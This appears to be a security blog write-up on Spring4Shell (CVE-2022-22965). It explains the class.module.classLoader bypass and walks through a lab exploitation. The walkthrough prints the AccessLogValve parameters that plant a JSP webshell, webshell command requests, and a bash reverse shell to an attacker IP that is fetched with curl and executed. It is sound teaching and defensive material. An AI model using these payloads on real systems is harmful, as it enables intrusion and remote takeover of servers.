Write-Ups

7 min read

Spring4Shell Explained - CVE-2022-22965

Spring4Shell (CVE-2022-22965) is a remote code execution vulnerability in Spring Framework named after the critical Log4Shell bug disclosed in 2021.

pwnmeow avatar

pwnmeow,
May 11
2022

What is Spring? 

Spring is an application development framework for Java. Millions of developers worldwide use the Spring Framework to write high performing and reusable code.

The core feature of the Spring Framework is that it can be used in developing any Java application, but there are extensions for building web applications on top of Java. 

What is Spring4Shell? 

Spring4Shell (CVE-2022-22965) is a remote code execution vulnerability in Spring Framework named after the critical Log4Shell bug disclosed in 2021. Although this vulnerability exists in Spring Core, it is not as widespread as Log4Shell since some prerequisites need to be fulfilled to make the application vulnerable.

VMware officially disclosed Spring4shell on 31st march of 2022. Unfortunately, details about the Vulnerability were leaked to the public before the official announcement and the release of the relevant patches. Spring4shell is a critical bug with high impact on integrity, confidentiality and availability. The leaked technical details about the Vulnerability are making it easy to exploit. The exploit was given a CVSSv3 score of 9.8 by NVD due to the criticality that the exploit does not need any authentication or authorisation. The vulnerability affects Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older unsupported versions.
Recommended read: CVE-2023-34362-explained

What is the impact of Spring4Shell? 

Spring4Shell allow an attackers to get arbitrary code execution in the context of the user that is running the vulnerable application. Once the attackers achieve RCE, they can install malware or can use the server as an initial foothold to escalate privileges and compromise the whole system. 

Spring4shell Technical Details / Vulnerability breakdown

Spring Web MVC (Model-View-Controller) is a web framework provided by Spring. A  DispatcherServlet is responsible for dispatching requests to handlers according to mappings defined using annotations such as RequestMapping. Vulnerable applications use non-basic parameter binding, which means extracting the parameter values from an HTTP request and assigning it to an Object (also called POJO or Plain old java object). The RequestMapping annotation (and composed annotations based on it, such as GetMapping and PostMapping) was found to be vulnerable, allowing attackers to load arbitrary classes and inject arbitrary code that is executed by the application.

Let’s take a look at a vulnerable code snippet. This is a Class or Model for the Greeting class.

public class Greeting {
		private long id;
		private String content;
		public long getId() {
	 			return id;
		}
		public String getContent() { 
			return content;
		}
}
 

This is the controller's code. 

 @PostMapping("/test")
	 public String greetingSubmit(@ModelAttribute Greeting greeting, Model model) {
	 return "hello";
	 }

The class variable has a reference to the POJO Object, where all HTTP parameters are mapped.  

If we indeed try to access the following URL,

http://127.0.0.1/test?id=1&content=hello. 

This would translate on the backend to 

greeting.getId() == 1
greeting.getContent() == "hello"

Attackers can directly access the Object by specifying the class variable in their request. All child properties of an object can also be accessed through the Class Object. "Class Object" is the root of the class hierarchy. Every class has this Object inherited as its superclass. All objects, including arrays, implement the methods of this class.

Once the attacker has access to the Class Object, they can follow the method chain and get access to any method in the chain's properties. To prevent this, after a similar vulnerability (CVE-2010-1622) was disclosed several years ago, a check was added to Spring Core to ignore the "class.classLoader" and "class.protectionDomain" property descriptors. The class.getModule() method, introduced in JDK9, allows attackers to bypass this filter by using the "class.module.classLoader" selector, which will let the attacker access any of the child properties.

For example, if the application is running on Apache Tomcat, the class variable "class.module.classLoader.resources.context.parent.pipeline.firstpath" can be used to control an AccessLogValve object and manipulate its properties (such as pattern, prefix, suffix and directory) to write a webshell at the web root, thus obtaining remote command execution.

Prerequisites required to exploit Spring4Shell

  • JDK v9 or above

  • Apache Tomcat versions below 10.0.20, 9.0.62, and 8.5.78

  • The application must be packaged as a WAR (in contrast to a Spring Boot executable jar).

  • Utilising either the spring-webmvc or spring-webflux dependencies.

Exploit Break Down.

Now that we have understood the Vulnerability, it is possible to explore how the exploit works in more detail. We have used this original PoC

Pattern: The "class.module.classLoader.resources.context.parent.pipeline.first.pattern"  consists of a formatting layout identifying the various fields to extract from the request and log the response. Here you can see how the headers' c2', 'c1', 'suffix' are being fetched from the headers. The substitution happens from the incoming headers as the format is %{name_of_header}i.

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream 
in = 
%{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); 
int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ 
out.println(new String(b)); } } %{suffix}i

Suffix: The suffix to add at the end of each log file name. The extension of the file that will be written is .jsp

class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

Directory: The absolute or relative path of a directory where the file will be created. In this case, 'webapps/ROOT' is selected since this is the path that is contained in the default Tomcat installation.

class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT

Prefix: The string that is added to the start of each log file that will be created. In this case, it's 'tomcatwar'.

class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar

fileDateFormat: The field allows for a customised timestamp to be added to the log file name. This is kept empty since we don't want any other extensions in the JSP webshell, and also because we don't desire the default timestamp format.

class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

Exploiting Spring4Shell

nmap  10.129.136.81
 

cmnd_line_nmap

Nmap reveals ports 8080,10000 and 22. Let's take a look at the web-server, which by default operates on port 8080 in Tomcat.

We observe a “Coming Soon” page.

coming soon landing page

Upon scrolling down to the bottom of the page, we notice the app is using JDK 11 and Spring Boot for the backend.

JDK 11 and Spring Boot

Searching possible exploits for spring returns the following PoC: 

https://github.com/reznok/Spring4Shell-POC

Upon further searching online for Java Development Kit (JDK) version 9.0 or later, we spot Spring4Shell, through which a remote attacker can obtain an AccessLogValve object through the framework’s parameter binding feature and use malicious field values to trigger the pipeline mechanism and write to a file in an arbitrary path if certain conditions are met.

We can try to exploit the vulnerability on this website.

python3 ./exploit.py --url "http://10.10.11.64:8080/index"
curl http://10.10.11.64:8080/shell.jsp?cmd=whoami --output -

python 3 exploit

The exploit indeed worked, and we achived RCE on the box. Now we can try to get a shell on the server. We copy the payload below and save it in a file called shell.sh.

bash -c 'exec bash -i &>/dev/tcp/10.10.14.36/1234 <&1'

We start a HTTP server on the attacking box.

sudo python3 -m http.server 80  
 

and then a listener on our attacking machine.

nc -lvnp 1234

We download the script on the target box and by executing it is possible to get a shell on the box.

Curl http://10.10.11.64:8080/shell.jsp?cmd=curl%2010.10.14.36%2Fshell.sh%20-o%20%2Ftmp%2Fshell.sh --output -
curl http://10.10.11.64:8080/shell.jsp?cmd=bash%20/tmp/shell.sh --output 

nc -lvnp 

Fix for Spring4shell

Upgrade Spring Framework to versions 5.3.18+ and 5.2.20+ and also upgrade Spring Boot to versions 2.6.6+ and2.5.12+.

Spring4Shell CVE Dedicated Labs

CVE-2022-22965 has been added to the list of CVE Exploitable machines available on our Enterprise Platform, learn more here.

Hack The Blog

The latest news and updates, direct from Hack The Box